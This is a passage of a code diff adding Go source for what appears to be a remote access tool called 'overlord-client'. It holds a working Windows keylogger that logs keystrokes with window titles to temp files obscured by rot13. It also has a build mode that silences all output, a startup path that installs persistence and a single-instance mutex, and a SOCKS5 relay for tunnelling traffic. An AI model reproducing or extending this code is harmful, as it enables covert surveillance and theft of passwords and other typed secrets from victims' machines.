log.Printf("Invalid request version: %d", reqHeader[0])
|
||||
return
|
||||
}
|
||||
|
||||
cmd := reqHeader[1]
|
||||
if cmd != 1 {
|
||||
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
|
||||
return
|
||||
}
|
||||
|
||||
atyp := reqHeader[3]
|
||||
var host string
|
||||
var port uint16
|
||||
|
||||
switch atyp {
|
||||
case 1: // IPv4
|
||||
addr := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
case 3: // domain name
|
||||
addrLen := make([]byte, 1)
|
||||
if _, err := io.ReadFull(conn, addrLen); err != nil {
|
||||
return
|
||||
}
|
||||
addr := make([]byte, addrLen[0])
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = string(addr)
|
||||
case 4: // IPv6
|
||||
addr := make([]byte, 16)
|
||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
||||
return
|
||||
}
|
||||
host = net.IP(addr).String()
|
||||
default:
|
||||
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
|
||||
return
|
||||
}
|
||||
|
||||
// read port
|
||||
portBytes := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, portBytes); err != nil {
|
||||
return
|
||||
}
|
||||
port = binary.BigEndian.Uint16(portBytes)
|
||||
|
||||
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
|
||||
|
||||
// connect to target
|
||||
targetAddr := fmt.Sprintf("%s:%d", host, port)
|
||||
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("Failed to connect to %s: %v", targetAddr, err)
|
||||
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
|
||||
return
|
||||
}
|
||||
defer targetConn.Close()
|
||||
|
||||
// send success response
|
||||
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
|
||||
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
|
||||
|
||||
// clear deadline for data transfer
|
||||
conn.SetDeadline(time.Time{})
|
||||
targetConn.SetDeadline(time.Time{})
|
||||
|
||||
// relay data bidirectionally
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
goSafe("socks5 relay to target", nil, func() {
|
||||
io.Copy(targetConn, conn)
|
||||
done <- struct{}{}
|
||||
})
|
||||
|
||||
goSafe("socks5 relay to client", nil, func() {
|
||||
io.Copy(conn, targetConn)
|
||||
done <- struct{}{}
|
||||
})
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func streamInterval(envVar string, defFPS int) (time.Duration, int) {
|
||||
fps := defFPS
|
||||
raw := strings.TrimSpace(os.Getenv(envVar))
|
||||
if raw != "" {
|
||||
if v, err := strconv.Atoi(raw); err == nil && v > 0 {
|
||||
fps = v
|
||||
} else {
|
||||
log.Printf("stream: invalid %s=%q, using %d", envVar, raw, defFPS)
|
||||
}
|
||||
}
|
||||
if fps < 1 {
|
||||
fps = 1
|
||||
}
|
||||
if fps > 120 {
|
||||
fps = 120
|
||||
}
|
||||
return time.Second / time.Duration(fps), fps
|
||||
}
|
||||
@@ -0,0 +1,410 @@
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
MaxFileSize = 10 * 1024 * 1024 // 10MB
|
||||
FileRetention = 7 * 24 * time.Hour // 1 week
|
||||
FlushInterval = 5 * time.Second
|
||||
FileNamePrefix = "ovd-"
|
||||
InactivityPause = 2 * time.Second // Time before starting a new line
|
||||
)
|
||||
|
||||
type Keylogger struct {
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
stopCh chan struct{}
|
||||
buffer strings.Builder
|
||||
currentFile *os.File
|
||||
currentDate string
|
||||
currentName string
|
||||
logDir string
|
||||
lastKeyTime time.Time
|
||||
lineStarted bool
|
||||
currentWindowTitle string
|
||||
}
|
||||
|
||||
func New() *Keylogger {
|
||||
return &Keylogger{
|
||||
stopCh: make(chan struct{}),
|
||||
logDir: getTempDir(),
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) Start() error {
|
||||
k.mu.Lock()
|
||||
if k.running {
|
||||
k.mu.Unlock()
|
||||
return fmt.Errorf("keylogger already running")
|
||||
}
|
||||
k.running = true
|
||||
k.mu.Unlock()
|
||||
|
||||
log.Printf("[keylogger] Starting keylogger, logs in: %s", k.logDir)
|
||||
|
||||
go k.cleanupOldLogs()
|
||||
go k.captureLoop()
|
||||
go k.flushLoop()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) Stop() {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if !k.running {
|
||||
return
|
||||
}
|
||||
|
||||
k.running = false
|
||||
close(k.stopCh)
|
||||
|
||||
if k.currentFile != nil {
|
||||
if k.lineStarted && k.buffer.Len() > 0 {
|
||||
k.buffer.WriteString("\n")
|
||||
}
|
||||
k.flushBuffer()
|
||||
k.currentFile.Close()
|
||||
k.currentFile = nil
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] Stopped")
|
||||
}
|
||||
|
||||
func (k *Keylogger) ListFiles() ([]FileInfo, error) {
|
||||
entries, err := os.ReadDir(k.logDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var files []FileInfo
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, FileNamePrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
files = append(files, FileInfo{
|
||||
Name: name,
|
||||
Size: info.Size(),
|
||||
Date: info.ModTime(),
|
||||
})
|
||||
}
|
||||
|
||||
return files, nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) ReadFile(filename string) ([]byte, error) {
|
||||
if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
|
||||
return nil, fmt.Errorf("invalid filename")
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(filename, FileNamePrefix) {
|
||||
return nil, fmt.Errorf("invalid filename prefix")
|
||||
}
|
||||
|
||||
path := filepath.Join(k.logDir, filename)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) ClearAll() error {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if k.currentFile != nil {
|
||||
k.currentFile.Close()
|
||||
k.currentFile = nil
|
||||
k.currentDate = ""
|
||||
k.currentName = ""
|
||||
k.buffer.Reset()
|
||||
k.lineStarted = false
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(k.logDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, FileNamePrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
path := filepath.Join(k.logDir, name)
|
||||
if err := os.Remove(path); err != nil {
|
||||
log.Printf("[keylogger] Failed to remove %s: %v", name, err)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] Cleared all log files")
|
||||
return nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) DeleteFile(filename string) error {
|
||||
if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
|
||||
return fmt.Errorf("invalid filename")
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(filename, FileNamePrefix) {
|
||||
return fmt.Errorf("invalid filename prefix")
|
||||
}
|
||||
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if k.currentFile != nil && filename == k.currentName {
|
||||
k.currentFile.Close()
|
||||
k.currentFile = nil
|
||||
k.currentDate = ""
|
||||
k.currentName = ""
|
||||
k.buffer.Reset()
|
||||
k.lineStarted = false
|
||||
}
|
||||
|
||||
path := filepath.Join(k.logDir, filename)
|
||||
if err := os.Remove(path); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Printf("[keylogger] Deleted log file: %s", filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (k *Keylogger) FlushNow() {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
if k.buffer.Len() > 0 {
|
||||
k.flushBuffer()
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureLoop() {
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return
|
||||
default:
|
||||
if err := k.captureKeystrokes(); err != nil {
|
||||
log.Printf("[keylogger] Capture error: %v", err)
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) flushLoop() {
|
||||
ticker := time.NewTicker(FlushInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
k.mu.Lock()
|
||||
if k.buffer.Len() > 0 {
|
||||
if k.lineStarted && !k.lastKeyTime.IsZero() && time.Since(k.lastKeyTime) > InactivityPause {
|
||||
k.buffer.WriteString("\n")
|
||||
k.lineStarted = false
|
||||
}
|
||||
k.flushBuffer()
|
||||
}
|
||||
k.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) flushBuffer() {
|
||||
if k.buffer.Len() == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
today := time.Now().Format("2006-01-02")
|
||||
if k.currentDate != today || k.currentFile == nil {
|
||||
k.rotateFile(today)
|
||||
}
|
||||
|
||||
if k.currentFile != nil {
|
||||
info, err := k.currentFile.Stat()
|
||||
if err == nil && info.Size() >= MaxFileSize {
|
||||
k.rotateFile(today)
|
||||
}
|
||||
}
|
||||
|
||||
if k.currentFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
encrypted := rot13(k.buffer.String())
|
||||
if _, err := k.currentFile.WriteString(encrypted); err != nil {
|
||||
log.Printf("[keylogger] Write error: %v", err)
|
||||
}
|
||||
|
||||
k.buffer.Reset()
|
||||
}
|
||||
|
||||
func (k *Keylogger) rotateFile(date string) {
|
||||
if k.currentFile != nil {
|
||||
k.currentFile.Close()
|
||||
}
|
||||
|
||||
timestamp := time.Now().Unix()
|
||||
filename := fmt.Sprintf("%s%s-%d.log", FileNamePrefix, date, timestamp)
|
||||
path := filepath.Join(k.logDir, filename)
|
||||
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] Failed to open log file: %v", err)
|
||||
k.currentFile = nil
|
||||
k.currentDate = ""
|
||||
return
|
||||
}
|
||||
|
||||
k.currentFile = file
|
||||
k.currentDate = date
|
||||
k.currentName = filename
|
||||
log.Printf("[keylogger] Rotated to new file: %s", filename)
|
||||
}
|
||||
|
||||
func (k *Keylogger) cleanupOldLogs() {
|
||||
cutoff := time.Now().Add(-FileRetention)
|
||||
|
||||
entries, err := os.ReadDir(k.logDir)
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] Failed to read log dir for cleanup: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, FileNamePrefix) {
|
||||
continue
|
||||
}
|
||||
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if info.ModTime().Before(cutoff) {
|
||||
path := filepath.Join(k.logDir, name)
|
||||
if err := os.Remove(path); err != nil {
|
||||
log.Printf("[keylogger] Failed to remove old log %s: %v", name, err)
|
||||
} else {
|
||||
log.Printf("[keylogger] Removed old log: %s", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) logKey(key string) {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
|
||||
now := time.Now()
|
||||
|
||||
needsNewLine := false
|
||||
if !k.lastKeyTime.IsZero() && now.Sub(k.lastKeyTime) > InactivityPause {
|
||||
needsNewLine = true
|
||||
}
|
||||
|
||||
if key == "[ENTER]" {
|
||||
if k.lineStarted {
|
||||
k.buffer.WriteString("\n")
|
||||
}
|
||||
k.lineStarted = false
|
||||
k.lastKeyTime = now
|
||||
|
||||
if k.buffer.Len() > 4096 {
|
||||
k.flushBuffer()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
windowTitle := k.getWindowTitle()
|
||||
windowChanged := windowTitle != k.currentWindowTitle && windowTitle != ""
|
||||
|
||||
if (needsNewLine || windowChanged) && k.lineStarted {
|
||||
k.buffer.WriteString("\n")
|
||||
k.lineStarted = false
|
||||
}
|
||||
|
||||
if !k.lineStarted {
|
||||
timestamp := now.Format("2006-01-02 15:04:05")
|
||||
if windowChanged {
|
||||
k.currentWindowTitle = windowTitle
|
||||
}
|
||||
if k.currentWindowTitle != "" {
|
||||
k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle))
|
||||
} else {
|
||||
k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp))
|
||||
}
|
||||
k.lineStarted = true
|
||||
}
|
||||
|
||||
k.buffer.WriteString(key)
|
||||
k.lastKeyTime = now
|
||||
|
||||
if k.buffer.Len() > 4096 {
|
||||
k.flushBuffer()
|
||||
}
|
||||
}
|
||||
|
||||
func rot13(s string) string {
|
||||
var result strings.Builder
|
||||
for _, r := range s {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z':
|
||||
result.WriteRune('a' + (r-'a'+13)%26)
|
||||
case r >= 'A' && r <= 'Z':
|
||||
result.WriteRune('A' + (r-'A'+13)%26)
|
||||
default:
|
||||
result.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func getTempDir() string {
|
||||
return os.TempDir()
|
||||
}
|
||||
|
||||
func (k *Keylogger) getWindowTitle() string {
|
||||
return getWindowTitle()
|
||||
}
|
||||
|
||||
type FileInfo struct {
|
||||
Name string
|
||||
Size int64
|
||||
Date time.Time
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
// go:build darwin
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
|
||||
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
// go:build linux
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] Linux keylogging not fully implemented - placeholder mode")
|
||||
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,272 @@
|
||||
// go:build windows
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
)
|
||||
|
||||
const (
|
||||
VK_SHIFT = 0x10
|
||||
VK_CONTROL = 0x11
|
||||
VK_MENU = 0x12 // ALT
|
||||
VK_CAPITAL = 0x14 // CAPS LOCK
|
||||
)
|
||||
|
||||
var keyNames = map[int]string{
|
||||
0x08: "[BACKSPACE]",
|
||||
0x09: "[TAB]",
|
||||
0x0D: "[ENTER]",
|
||||
0x1B: "[ESC]",
|
||||
0x20: " ",
|
||||
0x21: "[PAGE UP]",
|
||||
0x22: "[PAGE DOWN]",
|
||||
0x23: "[END]",
|
||||
0x24: "[HOME]",
|
||||
0x25: "[LEFT]",
|
||||
0x26: "[UP]",
|
||||
0x27: "[RIGHT]",
|
||||
0x28: "[DOWN]",
|
||||
0x2C: "[PRINT SCREEN]",
|
||||
0x2D: "[INSERT]",
|
||||
0x2E: "[DELETE]",
|
||||
0x5B: "[LEFT WIN]",
|
||||
0x5C: "[RIGHT WIN]",
|
||||
0x5D: "[MENU]",
|
||||
VK_SHIFT: "[SHIFT]",
|
||||
VK_CONTROL: "[CTRL]",
|
||||
VK_MENU: "[ALT]",
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
keyState := make(map[int]bool)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
default:
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
|
||||
// Check all printable keys and special keys
|
||||
for vk := 8; vk <= 190; vk++ {
|
||||
ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
|
||||
keyDown := (ret & 0x8000) != 0
|
||||
|
||||
if keyDown && !keyState[vk] {
|
||||
keyState[vk] = true
|
||||
key := getKeyString(vk)
|
||||
if key != "" {
|
||||
k.logKey(key)
|
||||
}
|
||||
} else if !keyDown {
|
||||
keyState[vk] = false
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getKeyString(vk int) string {
|
||||
if name, ok := keyNames[vk]; ok {
|
||||
if vk == VK_SHIFT || vk == VK_CONTROL || vk == VK_MENU {
|
||||
return ""
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
var kbState [256]byte
|
||||
ret, _, err := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&kbState[0])))
|
||||
if ret == 0 {
|
||||
log.Printf("[keylogger] GetKeyboardState failed: %v", err)
|
||||
return ""
|
||||
}
|
||||
|
||||
shiftDown := (getAsyncKeyState(VK_SHIFT) & 0x8000) != 0
|
||||
ctrlDown := (getAsyncKeyState(VK_CONTROL) & 0x8000) != 0
|
||||
altDown := (getAsyncKeyState(VK_MENU) & 0x8000) != 0
|
||||
if shiftDown {
|
||||
kbState[VK_SHIFT] |= 0x80
|
||||
} else {
|
||||
kbState[VK_SHIFT] &^= 0x80
|
||||
}
|
||||
if ctrlDown {
|
||||
kbState[VK_CONTROL] |= 0x80
|
||||
} else {
|
||||
kbState[VK_CONTROL] &^= 0x80
|
||||
}
|
||||
if altDown {
|
||||
kbState[VK_MENU] |= 0x80
|
||||
} else {
|
||||
kbState[VK_MENU] &^= 0x80
|
||||
}
|
||||
|
||||
if ctrlDown || altDown {
|
||||
base := keyNameForCombo(vk)
|
||||
if base != "" {
|
||||
return formatCombo(ctrlDown, altDown, shiftDown, base)
|
||||
}
|
||||
}
|
||||
|
||||
var buffer [5]uint16
|
||||
sc, _, _ := procMapVirtualKey.Call(uintptr(vk), 0)
|
||||
n, _, _ := procToUnicode.Call(
|
||||
uintptr(vk),
|
||||
sc,
|
||||
uintptr(unsafe.Pointer(&kbState[0])),
|
||||
uintptr(unsafe.Pointer(&buffer[0])),
|
||||
uintptr(len(buffer)),
|
||||
0,
|
||||
)
|
||||
|
||||
if n > 0 {
|
||||
return syscall.UTF16ToString(buffer[:n])
|
||||
}
|
||||
|
||||
if s := oemKeyFallback(vk, shiftDown); s != "" {
|
||||
return s
|
||||
}
|
||||
|
||||
if vk >= 0x70 && vk <= 0x87 {
|
||||
return fmt.Sprintf("[F%d]", vk-0x6F)
|
||||
}
|
||||
|
||||
if vk >= 0x60 && vk <= 0x69 {
|
||||
return fmt.Sprintf("%d", vk-0x60)
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func oemKeyFallback(vk int, shiftDown bool) string {
|
||||
switch vk {
|
||||
case 0xBA: // VK_OEM_1 ;:
|
||||
if shiftDown {
|
||||
return ":"
|
||||
}
|
||||
return ";"
|
||||
case 0xBB: // VK_OEM_PLUS =+
|
||||
if shiftDown {
|
||||
return "+"
|
||||
}
|
||||
return "="
|
||||
case 0xBC: // VK_OEM_COMMA ,<
|
||||
if shiftDown {
|
||||
return "<"
|
||||
}
|
||||
return ","
|
||||
case 0xBD: // VK_OEM_MINUS -_
|
||||
if shiftDown {
|
||||
return "_"
|
||||
}
|
||||
return "-"
|
||||
case 0xBE: // VK_OEM_PERIOD .>
|
||||
if shiftDown {
|
||||
return ">"
|
||||
}
|
||||
return "."
|
||||
case 0xBF: // VK_OEM_2 /?
|
||||
if shiftDown {
|
||||
return "?"
|
||||
}
|
||||
return "/"
|
||||
case 0xC0: // VK_OEM_3 `~
|
||||
if shiftDown {
|
||||
return "~"
|
||||
}
|
||||
return "`"
|
||||
case 0xDB: // VK_OEM_4 [{
|
||||
if shiftDown {
|
||||
return "{"
|
||||
}
|
||||
return "["
|
||||
case 0xDC: // VK_OEM_5 \|
|
||||
if shiftDown {
|
||||
return "|"
|
||||
}
|
||||
return "\\"
|
||||
case 0xDD: // VK_OEM_6 ]}
|
||||
if shiftDown {
|
||||
return "}"
|
||||
}
|
||||
return "]"
|
||||
case 0xDE: // VK_OEM_7 '\"
|
||||
if shiftDown {
|
||||
return "\""
|
||||
}
|
||||
return "'"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getAsyncKeyState(vk int) uint16 {
|
||||
ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
|
||||
return uint16(ret)
|
||||
}
|
||||
|
||||
func keyNameForCombo(vk int) string {
|
||||
// Letters
|
||||
if vk >= 0x41 && vk <= 0x5A {
|
||||
return string(rune('A' + (vk - 0x41)))
|
||||
}
|
||||
// Digits 0-9
|
||||
if vk >= 0x30 && vk <= 0x39 {
|
||||
return string(rune('0' + (vk - 0x30)))
|
||||
}
|
||||
// Function keys
|
||||
if vk >= 0x70 && vk <= 0x87 {
|
||||
return fmt.Sprintf("F%d", vk-0x6F)
|
||||
}
|
||||
// Numpad digits
|
||||
if vk >= 0x60 && vk <= 0x69 {
|
||||
return fmt.Sprintf("NUM%d", vk-0x60)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func formatCombo(ctrlDown, altDown, shiftDown bool, key string) string {
|
||||
parts := make([]string, 0, 4)
|
||||
if ctrlDown {
|
||||
parts = append(parts, "CTRL")
|
||||
}
|
||||
if altDown {
|
||||
parts = append(parts, "ALT")
|
||||
}
|
||||
if shiftDown {
|
||||
parts = append(parts, "SHIFT")
|
||||
}
|
||||
parts = append(parts, key)
|
||||
return "[" + strings.Join(parts, "+") + "]"
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
hwnd, _, _ := procGetForegroundWindow.Call()
|
||||
if hwnd == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var buf [256]uint16
|
||||
ret, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if ret == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return syscall.UTF16ToString(buf[:])
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
//go:build noprint
|
||||
// +build noprint
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
)
|
||||
|
||||
var devNullFile *os.File
|
||||
|
||||
func init() {
|
||||
log.SetOutput(io.Discard)
|
||||
|
||||
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
devNullFile = file
|
||||
os.Stdout = file
|
||||
os.Stderr = file
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cfg := config.Load()
|
||||
|
||||
if cfg.EnablePersistence {
|
||||
if err := persistence.Setup(); err != nil {
|
||||
log.Printf("Warning: Failed to setup persistence: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
|
||||
if err != nil {
|
||||
log.Printf("[mutex] failed to initialize mutex: %v", err)
|
||||
return
|
||||
}
|
||||
if !ok {
|
||||
log.Printf("[mutex] another instance is already running; exiting")
|
||||
return
|
||||
}
|
||||
defer releaseMutex()
|
||||
|
||||
for {
|
||||
func() {
|
||||
defer recoverAndLog("main", nil)
|
||||
runClient(cfg)
|
||||
}()
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func TestMinDuration(t *testing.T) {
|
||||
if got := rt.MinDuration(1*time.Second, 5*time.Second); got != 1*time.Second {
|
||||
t.Fatalf("expected shorter duration returned, got %s", got)
|
||||
}
|
||||
if got := rt.MinDuration(5*time.Second, 1*time.Second); got != 1*time.Second {
|
||||
t.Fatalf("expected shorter duration returned, got %s", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package mutex
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxMutexLength = 64
|
||||
|
||||
func sanitizeName(name string) (string, error) {
|
||||
trimmed := strings.TrimSpace(name)
|
||||
if trimmed == "" {
|
||||
return "", fmt.Errorf("empty mutex name")
|
||||
}
|
||||
|
||||
var builder strings.Builder
|
||||
for _, r := range trimmed {
|
||||
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
||||
builder.WriteRune(r)
|
||||
}
|
||||
}
|
||||
|
||||
sanitized := builder.String()
|
||||
if sanitized == "" {
|
||||
return "", fmt.Errorf("mutex name has no valid characters")
|
||||
}
|
||||
|
||||
if len(sanitized) > maxMutexLength {
|
||||
sanitized = sanitized[:maxMutexLength]
|
||||
}
|
||||
|
||||
return sanitized, nil
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !windows
|
||||
|
||||
package mutex
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func Acquire(name string) (func(), bool, error) {
|
||||
if name == "" {
|
||||
return func() {}, true, nil
|
||||
}
|
||||
|
||||
sanitized, err := sanitizeName(name)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
lockPath := filepath.Join(os.TempDir(), fmt.Sprintf("overlord-%s.lock", sanitized))
|
||||
file, err := os.OpenFile(lockPath, os.O_CREATE|os.O_RDWR, 0o644)
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("open mutex file: %w", err)
|
||||
}
|
||||
|
||||
if err := unix.Flock(int(file.Fd()), unix.LOCK_EX|unix.LOCK_NB); err != nil {
|
||||
_ = file.Close()
|
||||
if errors.Is(err, unix.EWOULDBLOCK) {
|
||||
return func() {}, false, nil
|
||||
}
|
||||
return nil, false, fmt.Errorf("lock mutex file: %w", err)
|
||||
}
|
||||
|
||||
release := func() {
|
||||
_ = unix.Flock(int(file.Fd()), unix.LOCK_UN)
|
||||
_ = file.Close()
|
||||
}
|
||||
|
||||
return release, true, nil
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
//go:build windows
|
||||
|
||||
package mutex
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func Acquire(name string) (func(), bool, error) {
|
||||
if name == "" {
|
||||
